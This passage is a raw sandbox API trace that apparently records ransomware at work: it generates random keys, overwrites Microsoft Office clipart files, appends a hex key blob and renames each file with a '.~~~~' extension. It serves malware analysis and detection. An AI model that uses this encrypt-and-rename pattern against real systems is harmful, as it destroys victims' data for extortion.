	[0093.917] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff6eec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.917] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x9114, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x9114, lpOverlapped=0x0) returned 1
	[0093.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0093.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.918] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.918] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.918] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.918] CloseHandle (hObject=0x12c) returned 1
	[0093.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.~~~~")) returned 1
	[0093.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.920] GetLastError () returned 0x0
	[0093.920] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.921] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.921] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.922] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21391168648) returned 1
	[0093.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1b29f30, dwHighDateTime=0x1d60e1e)) 
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3885d0
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3885d0 | out: hHeap=0x300000) returned 1
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e258
	[0093.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.922] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.922] GetLastError () returned 0x0
	[0093.923] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.923] GetLastError () returned 0x0
	[0094.061] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff2be, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.061] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xd42, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0xd42, lpOverlapped=0x0) returned 1
	[0094.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0094.062] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.063] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.063] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.063] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.063] CloseHandle (hObject=0x12c) returned 1
	[0094.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.063] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.~~~~")) returned 1
	[0094.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0094.064] GetLastError () returned 0x0
	[0094.065] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0094.066] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.066] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0094.066] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21405631569) returned 1
	[0094.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1c80b90, dwHighDateTime=0x1d60e1e)) 
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a98f0
	[0094.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98f0 | out: hHeap=0x300000) returned 1
	[0094.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e680
	[0094.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.067] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0094.067] GetLastError () returned 0x0
	[0094.067] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0094.067] GetLastError () returned 0x0
	[0094.164] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffefea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.164] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1016, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x1016, lpOverlapped=0x0) returned 1
	[0094.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0094.168] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.168] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.168] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.168] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.168] CloseHandle (hObject=0x12c) returned 1
	[0094.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.~~~~")) returned 1
	[0094.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0094.275] GetLastError () returned 0x0
	[0094.275] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0094.276] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.276] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0094.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0094.276] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21426656134) returned 1
	[0094.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1e6fd70, dwHighDateTime=0x1d60e1e)) 
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9298
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9298 | out: hHeap=0x300000) returned 1
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e8e0
	[0094.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.277] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0094.277] GetLastError () returned 0x0
	[0094.277] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0094.277] GetLastError () returned 0x0
	[0094.353] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff7526, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.353] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8ada, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x8ada, lpOverlapped=0x0) returned 1
	[0094.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0094.354] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.355] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.355] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.355] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.355] CloseHandle (hObject=0x13c) returned 1
	[0094.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.~~~~")) returned 1
	[0094.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0094.356] GetLastError () returned 0x0
	[0094.357] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0094.358] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.358] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0094.358] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21434831857) returned 1
	[0094.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1f545b0, dwHighDateTime=0x1d60e1e)) 
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9260
	[0094.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9260 | out: hHeap=0x300000) returned 1
	[0094.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ee38
	[0094.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.359] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0094.359] GetLastError () returned 0x0
	[0094.359] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0094.359] GetLastError () returned 0x0
	[0094.428] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9d4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.428] WriteFile (in: hFile=0x13c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x62b1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x62b1, lpOverlapped=0x0) returned 1
	[0094.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0094.429] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.429] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.429] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.429] CloseHandle (hObject=0x13c) returned 1
	[0094.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.~~~~")) returned 1
	[0094.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0094.430] GetLastError () returned 0x0
	[0094.430] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0094.432] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.432] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0094.432] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21442188115) returned 1
	[0094.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1fecb30, dwHighDateTime=0x1d60e1e)) 
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9378
	[0094.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9378 | out: hHeap=0x300000) returned 1
	[0094.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283eed0
	[0094.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.439] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0094.440] GetLastError () returned 0x0
	[0094.440] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0094.440] GetLastError () returned 0x0
